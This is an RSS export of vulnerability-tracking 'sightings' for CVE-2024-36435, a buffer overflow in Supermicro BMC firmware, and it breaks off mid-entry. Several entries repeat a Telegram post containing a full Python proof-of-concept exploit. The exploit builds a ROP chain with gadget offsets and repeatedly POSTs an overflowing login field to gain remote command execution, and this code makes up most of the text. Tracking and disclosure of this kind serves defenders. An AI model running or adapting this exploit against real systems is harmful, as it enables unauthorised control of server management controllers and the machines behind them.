https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Sat, 18 Jul 2026 09:04:26 +0000 https://vulnerability.circl.lu/sighting/475ad816-40f1-4c51-9073-96b265eacdf7/export {"uuid": "475ad816-40f1-4c51-9073-96b265eacdf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/1012", "content": "\u041c\u044b \u0437\u043d\u0430\u0435\u043c \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u044b \u043d\u0435 \u043b\u044e\u0431\u044f\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043a \u0430\u0434\u043c\u0438\u043d\u043a\u0430\u043c \u0441\u0435\u0440\u0435\u0440\u043e\u0432 \u0442\u0438\u043f\u0430 iDrac, iLO \u0438 \u0434\u0440. \u0418 \u0432\u043e\u0442 \u0432\u0438\u0448\u0438\u043d\u043a\u0430 #CVE-2024-36435 \n\u0441 CVSS 9.8 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 BMC \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Supermicro \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0445 \u043f\u043b\u0430\u0442\u0430\u0445 X11, X12, H12, B12, X13, H13 \u0438 B13 (\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 CMM6). \n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0441\u0442\u0435\u043a\u0430 \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 RCE \u0430 \u043d\u0430 BMC.\n\nhttps://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw\n\nPoC:\n\n# CVE-2024-36435 \u2013 Buffer overflow vulnerability in Supermicro BMC IPMI firmware due to unchecked length of user-supplied value\n\nimport base64\nimport requests\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# set target and command values\ntarget = \"https://192.168.10.53:443/cgi/login.cgi\"\ncommand = \"touch /tmp/BRLY\"\n\nlibc_base = 0x76283000 # we try to guess\ngadget_1_offset = 0x000D8874 # pop {r0, r1, r2, r3, fp, pc};\ngadget_2_offset = 0x001026D4 # mov r0, sp; blx r3;\nsystem_offset = 0x0003C4D4\n\nprint(f\"Target: {target}\")\nprint(f\"Command: {command}\")\nprint()\nprint(f\"libc_base: {libc_base:#x}\")\nprint(f\"gadget_1_offset: {gadget_1_offset:#x}\")\nprint(f\"gadget_2_offset: {gadget_2_offset:#x}\")\nprint(f\"system_offset: {system_offset:#x}\")\nprint()\n\n\npayload = base64.b64encode(\n b\"\\x00\" * 456\n + int.to_bytes(libc_base + gadget_1_offset, 4, \"little\") # gadget_1\n + b\"\\x00\" * 12\n + int.to_bytes(libc_base + system_offset, 4, \"little\") # system\n + b\"\\x00\" * 4\n + int.to_bytes(libc_base + gadget_2_offset, 4, \"little\") # gadget_2\n + command.encode()\n).decode()\n\ndata = f\"name={payload}&pwd=&check=1\"\n\nprint(\"Sending requests...\")\ni = 0\nwhile True:\n print(f\"Request: '{i}'\")\n r = requests.post(target, data=data, verify=False)\n i += 1", "creation_timestamp": "2026-07-14T00:01:00.583160Z"} {"uuid": "475ad816-40f1-4c51-9073-96b265eacdf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/1012", "content": "\u041c\u044b \u0437\u043d\u0430\u0435\u043c \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u044b \u043d\u0435 \u043b\u044e\u0431\u044f\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043a \u0430\u0434\u043c\u0438\u043d\u043a\u0430\u043c \u0441\u0435\u0440\u0435\u0440\u043e\u0432 \u0442\u0438\u043f\u0430 iDrac, iLO \u0438 \u0434\u0440. \u0418 \u0432\u043e\u0442 \u0432\u0438\u0448\u0438\u043d\u043a\u0430 #CVE-2024-36435 \n\u0441 CVSS 9.8 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 BMC \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Supermicro \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0445 \u043f\u043b\u0430\u0442\u0430\u0445 X11, X12, H12, B12, X13, H13 \u0438 B13 (\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 CMM6). \n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0441\u0442\u0435\u043a\u0430 \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 RCE \u0430 \u043d\u0430 BMC.\n\nhttps://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw\n\nPoC:\n\n# CVE-2024-36435 \u2013 Buffer overflow vulnerability in Supermicro BMC IPMI firmware due to unchecked length of user-supplied value\n\nimport base64\nimport requests\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# set target and command values\ntarget = \"https://192.168.10.53:443/cgi/login.cgi\"\ncommand = \"touch /tmp/BRLY\"\n\nlibc_base = 0x76283000 # we try to guess\ngadget_1_offset = 0x000D8874 # pop {r0, r1, r2, r3, fp, pc};\ngadget_2_offset = 0x001026D4 # mov r0, sp; blx r3;\nsystem_offset = 0x0003C4D4\n\nprint(f\"Target: {target}\")\nprint(f\"Command: {command}\")\nprint()\nprint(f\"libc_base: {libc_base:#x}\")\nprint(f\"gadget_1_offset: {gadget_1_offset:#x}\")\nprint(f\"gadget_2_offset: {gadget_2_offset:#x}\")\nprint(f\"system_offset: {system_offset:#x}\")\nprint()\n\n\npayload = base64.b64encode(\n b\"\\x00\" * 456\n + int.to_bytes(libc_base + gadget_1_offset, 4, \"little\") # gadget_1\n + b\"\\x00\" * 12\n + int.to_bytes(libc_base + system_offset, 4, \"little\") # system\n + b\"\\x00\" * 4\n + int.to_bytes(libc_base + gadget_2_offset, 4, \"little\") # gadget_2\n + command.encode()\n).decode()\n\ndata = f\"name={payload}&pwd=&check=1\"\n\nprint(\"Sending requests...\")\ni = 0\nwhile True:\n print(f\"Request: '{i}'\")\n r = requests.post(target, data=data, verify=False)\n i += 1", "creation_timestamp": "2026-07-14T00:01:00.583160Z"} https://vulnerability.circl.lu/sighting/475ad816-40f1-4c51-9073-96b265eacdf7/export Tue, 14 Jul 2026 00:01:00 +0000 https://vulnerability.circl.lu/sighting/2af16814-4ff0-4ade-8f99-ad6194327da6/export {"uuid": "2af16814-4ff0-4ade-8f99-ad6194327da6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "seen", "source": "https://t.me/securixy_kz/1012", "content": "\u041c\u044b \u0437\u043d\u0430\u0435\u043c \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u044b \u043d\u0435 \u043b\u044e\u0431\u044f\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043a \u0430\u0434\u043c\u0438\u043d\u043a\u0430\u043c \u0441\u0435\u0440\u0435\u0440\u043e\u0432 \u0442\u0438\u043f\u0430 iDrac, iLO \u0438 \u0434\u0440. \u0418 \u0432\u043e\u0442 \u0432\u0438\u0448\u0438\u043d\u043a\u0430 #CVE-2024-36435 \n\u0441 CVSS 9.8 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 BMC \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Supermicro \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0445 \u043f\u043b\u0430\u0442\u0430\u0445 X11, X12, H12, B12, X13, H13 \u0438 B13 (\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 CMM6). \n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0441\u0442\u0435\u043a\u0430 \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 RCE \u0430 \u043d\u0430 BMC.\n\nhttps://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw\n\nPoC:\n\n# CVE-2024-36435 \u2013 Buffer overflow vulnerability in Supermicro BMC IPMI firmware due to unchecked length of user-supplied value\n\nimport base64\nimport requests\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# set target and command values\ntarget = \"https://192.168.10.53:443/cgi/login.cgi\"\ncommand = \"touch /tmp/BRLY\"\n\nlibc_base = 0x76283000 # we try to guess\ngadget_1_offset = 0x000D8874 # pop {r0, r1, r2, r3, fp, pc};\ngadget_2_offset = 0x001026D4 # mov r0, sp; blx r3;\nsystem_offset = 0x0003C4D4\n\nprint(f\"Target: {target}\")\nprint(f\"Command: {command}\")\nprint()\nprint(f\"libc_base: {libc_base:#x}\")\nprint(f\"gadget_1_offset: {gadget_1_offset:#x}\")\nprint(f\"gadget_2_offset: {gadget_2_offset:#x}\")\nprint(f\"system_offset: {system_offset:#x}\")\nprint()\n\n\npayload = base64.b64encode(\n b\"\\x00\" * 456\n + int.to_bytes(libc_base + gadget_1_offset, 4, \"little\") # gadget_1\n + b\"\\x00\" * 12\n + int.to_bytes(libc_base + system_offset, 4, \"little\") # system\n + b\"\\x00\" * 4\n + int.to_bytes(libc_base + gadget_2_offset, 4, \"little\") # gadget_2\n + command.encode()\n).decode()\n\ndata = f\"name={payload}&pwd=&check=1\"\n\nprint(\"Sending requests...\")\ni = 0\nwhile True:\n print(f\"Request: '{i}'\")\n r = requests.post(target, data=data, verify=False)\n i += 1", "creation_timestamp": "2026-07-13T00:00:34.359984Z"} {"uuid": "2af16814-4ff0-4ade-8f99-ad6194327da6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "seen", "source": "https://t.me/securixy_kz/1012", "content": "\u041c\u044b \u0437\u043d\u0430\u0435\u043c \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u044b \u043d\u0435 \u043b\u044e\u0431\u044f\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043a \u0430\u0434\u043c\u0438\u043d\u043a\u0430\u043c \u0441\u0435\u0440\u0435\u0440\u043e\u0432 \u0442\u0438\u043f\u0430 iDrac, iLO \u0438 \u0434\u0440. \u0418 \u0432\u043e\u0442 \u0432\u0438\u0448\u0438\u043d\u043a\u0430 #CVE-2024-36435 \n\u0441 CVSS 9.8 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 BMC \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Supermicro \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0445 \u043f\u043b\u0430\u0442\u0430\u0445 X11, X12, H12, B12, X13, H13 \u0438 B13 (\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 CMM6). \n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0441\u0442\u0435\u043a\u0430 \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 RCE \u0430 \u043d\u0430 BMC.\n\nhttps://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw\n\nPoC:\n\n# CVE-2024-36435 \u2013 Buffer overflow vulnerability in Supermicro BMC IPMI firmware due to unchecked length of user-supplied value\n\nimport base64\nimport requests\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# set target and command values\ntarget = \"https://192.168.10.53:443/cgi/login.cgi\"\ncommand = \"touch /tmp/BRLY\"\n\nlibc_base = 0x76283000 # we try to guess\ngadget_1_offset = 0x000D8874 # pop {r0, r1, r2, r3, fp, pc};\ngadget_2_offset = 0x001026D4 # mov r0, sp; blx r3;\nsystem_offset = 0x0003C4D4\n\nprint(f\"Target: {target}\")\nprint(f\"Command: {command}\")\nprint()\nprint(f\"libc_base: {libc_base:#x}\")\nprint(f\"gadget_1_offset: {gadget_1_offset:#x}\")\nprint(f\"gadget_2_offset: {gadget_2_offset:#x}\")\nprint(f\"system_offset: {system_offset:#x}\")\nprint()\n\n\npayload = base64.b64encode(\n b\"\\x00\" * 456\n + int.to_bytes(libc_base + gadget_1_offset, 4, \"little\") # gadget_1\n + b\"\\x00\" * 12\n + int.to_bytes(libc_base + system_offset, 4, \"little\") # system\n + b\"\\x00\" * 4\n + int.to_bytes(libc_base + gadget_2_offset, 4, \"little\") # gadget_2\n + command.encode()\n).decode()\n\ndata = f\"name={payload}&pwd=&check=1\"\n\nprint(\"Sending requests...\")\ni = 0\nwhile True:\n print(f\"Request: '{i}'\")\n r = requests.post(target, data=data, verify=False)\n i += 1", "creation_timestamp": "2026-07-13T00:00:34.359984Z"} https://vulnerability.circl.lu/sighting/2af16814-4ff0-4ade-8f99-ad6194327da6/export Mon, 13 Jul 2026 00:00:34 +0000 https://vulnerability.circl.lu/sighting/79a165f6-ddeb-480f-977b-57b38d1a1681/export {"uuid": "79a165f6-ddeb-480f-977b-57b38d1a1681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "seen", "source": "https://t.me/securixy_kz/1012", "content": "\u041c\u044b \u0437\u043d\u0430\u0435\u043c \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u044b \u043d\u0435 \u043b\u044e\u0431\u044f\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043a \u0430\u0434\u043c\u0438\u043d\u043a\u0430\u043c \u0441\u0435\u0440\u0435\u0440\u043e\u0432 \u0442\u0438\u043f\u0430 iDrac, iLO \u0438 \u0434\u0440. \u0418 \u0432\u043e\u0442 \u0432\u0438\u0448\u0438\u043d\u043a\u0430 #CVE-2024-36435 \n\u0441 CVSS 9.8 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 BMC \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Supermicro \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0445 \u043f\u043b\u0430\u0442\u0430\u0445 X11, X12, H12, B12, X13, H13 \u0438 B13 (\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 CMM6). \n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0441\u0442\u0435\u043a\u0430 \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 RCE \u0430 \u043d\u0430 BMC.\n\nhttps://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw\n\nPoC:\n\n# CVE-2024-36435 \u2013 Buffer overflow vulnerability in Supermicro BMC IPMI firmware due to unchecked length of user-supplied value\n\nimport base64\nimport requests\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# set target and command values\ntarget = \"https://192.168.10.53:443/cgi/login.cgi\"\ncommand = \"touch /tmp/BRLY\"\n\nlibc_base = 0x76283000 # we try to guess\ngadget_1_offset = 0x000D8874 # pop {r0, r1, r2, r3, fp, pc};\ngadget_2_offset = 0x001026D4 # mov r0, sp; blx r3;\nsystem_offset = 0x0003C4D4\n\nprint(f\"Target: {target}\")\nprint(f\"Command: {command}\")\nprint()\nprint(f\"libc_base: {libc_base:#x}\")\nprint(f\"gadget_1_offset: {gadget_1_offset:#x}\")\nprint(f\"gadget_2_offset: {gadget_2_offset:#x}\")\nprint(f\"system_offset: {system_offset:#x}\")\nprint()\n\n\npayload = base64.b64encode(\n b\"\\x00\" * 456\n + int.to_bytes(libc_base + gadget_1_offset, 4, \"little\") # gadget_1\n + b\"\\x00\" * 12\n + int.to_bytes(libc_base + system_offset, 4, \"little\") # system\n + b\"\\x00\" * 4\n + int.to_bytes(libc_base + gadget_2_offset, 4, \"little\") # gadget_2\n + command.encode()\n).decode()\n\ndata = f\"name={payload}&pwd=&check=1\"\n\nprint(\"Sending requests...\")\ni = 0\nwhile True:\n print(f\"Request: '{i}'\")\n r = requests.post(target, data=data, verify=False)\n i += 1", "creation_timestamp": "2026-07-12T22:00:09.838936Z"} {"uuid": "79a165f6-ddeb-480f-977b-57b38d1a1681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "seen", "source": "https://t.me/securixy_kz/1012", "content": "\u041c\u044b \u0437\u043d\u0430\u0435\u043c \u043a\u0430\u043a \u0430\u0434\u043c\u0438\u043d\u044b \u043d\u0435 \u043b\u044e\u0431\u044f\u0442 \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043a \u0430\u0434\u043c\u0438\u043d\u043a\u0430\u043c \u0441\u0435\u0440\u0435\u0440\u043e\u0432 \u0442\u0438\u043f\u0430 iDrac, iLO \u0438 \u0434\u0440. \u0418 \u0432\u043e\u0442 \u0432\u0438\u0448\u0438\u043d\u043a\u0430 #CVE-2024-36435 \n\u0441 CVSS 9.8 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 BMC \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Supermicro \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u0438\u0445 \u043f\u043b\u0430\u0442\u0430\u0445 X11, X12, H12, B12, X13, H13 \u0438 B13 (\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 CMM6). \n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0441\u0442\u0435\u043a\u0430 \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 RCE \u0430 \u043d\u0430 BMC.\n\nhttps://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw\n\nPoC:\n\n# CVE-2024-36435 \u2013 Buffer overflow vulnerability in Supermicro BMC IPMI firmware due to unchecked length of user-supplied value\n\nimport base64\nimport requests\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# set target and command values\ntarget = \"https://192.168.10.53:443/cgi/login.cgi\"\ncommand = \"touch /tmp/BRLY\"\n\nlibc_base = 0x76283000 # we try to guess\ngadget_1_offset = 0x000D8874 # pop {r0, r1, r2, r3, fp, pc};\ngadget_2_offset = 0x001026D4 # mov r0, sp; blx r3;\nsystem_offset = 0x0003C4D4\n\nprint(f\"Target: {target}\")\nprint(f\"Command: {command}\")\nprint()\nprint(f\"libc_base: {libc_base:#x}\")\nprint(f\"gadget_1_offset: {gadget_1_offset:#x}\")\nprint(f\"gadget_2_offset: {gadget_2_offset:#x}\")\nprint(f\"system_offset: {system_offset:#x}\")\nprint()\n\n\npayload = base64.b64encode(\n b\"\\x00\" * 456\n + int.to_bytes(libc_base + gadget_1_offset, 4, \"little\") # gadget_1\n + b\"\\x00\" * 12\n + int.to_bytes(libc_base + system_offset, 4, \"little\") # system\n + b\"\\x00\" * 4\n + int.to_bytes(libc_base + gadget_2_offset, 4, \"little\") # gadget_2\n + command.encode()\n).decode()\n\ndata = f\"name={payload}&pwd=&check=1\"\n\nprint(\"Sending requests...\")\ni = 0\nwhile True:\n print(f\"Request: '{i}'\")\n r = requests.post(target, data=data, verify=False)\n i += 1", "creation_timestamp": "2026-07-12T22:00:09.838936Z"} https://vulnerability.circl.lu/sighting/79a165f6-ddeb-480f-977b-57b38d1a1681/export Sun, 12 Jul 2026 22:00:09 +0000 https://vulnerability.circl.lu/sighting/74923109-3a0a-48c7-a2ae-9d7572426d4b/export {"uuid": "74923109-3a0a-48c7-a2ae-9d7572426d4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11208", "content": "#exploit\n1. CVE-2024-9014:\npgAdmin4 Sensitive Information Exposure\nhttps://github.com/EQSTLab/CVE-2024-9014\n\n2. CVE-2024-41110:\nDocker AuthZ plugins Security Checker\nhttps://github.com/vvpoglazov/cve-2024-41110-checker\n\n3. CVE-2024-36435:\nBuffer overflow in Supermicro BMC IPMI\nhttps://github.com/binarly-io/ToolsAndPoCs/blob/master/Posix/Supermicro/CVE-2024-36435.py\n]-> https://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw", "creation_timestamp": "2024-11-01T03:17:48.000000Z"} {"uuid": "74923109-3a0a-48c7-a2ae-9d7572426d4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11208", "content": "#exploit\n1. CVE-2024-9014:\npgAdmin4 Sensitive Information Exposure\nhttps://github.com/EQSTLab/CVE-2024-9014\n\n2. CVE-2024-41110:\nDocker AuthZ plugins Security Checker\nhttps://github.com/vvpoglazov/cve-2024-41110-checker\n\n3. CVE-2024-36435:\nBuffer overflow in Supermicro BMC IPMI\nhttps://github.com/binarly-io/ToolsAndPoCs/blob/master/Posix/Supermicro/CVE-2024-36435.py\n]-> https://www.binarly.io/blog/cve-2024-36435-deep-dive-the-years-most-critical-bmc-security-flaw", "creation_timestamp": "2024-11-01T03:17:48.000000Z"} https://vulnerability.circl.lu/sighting/74923109-3a0a-48c7-a2ae-9d7572426d4b/export Fri, 01 Nov 2024 03:17:48 +0000 https://vulnerability.circl.lu/sighting/4a03039d-2126-481d-912a-235cccdf741c/export {"uuid": "4a03039d-2126-481d-912a-235cccdf741c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-36435", "type": "seen", "source": "https://t.me/kasraone_com/717", "content": "\u0645\u0634\u06a9\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc RCE (CVE-2024-36435) \u062f\u0631 \u06a9\u0646\u062a\u0631\u0644\u200c\u06af\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0628\u0631\u062f \u0627\u0635\u0644\u06cc (BMC) \u0633\u0648\u067e\u0631 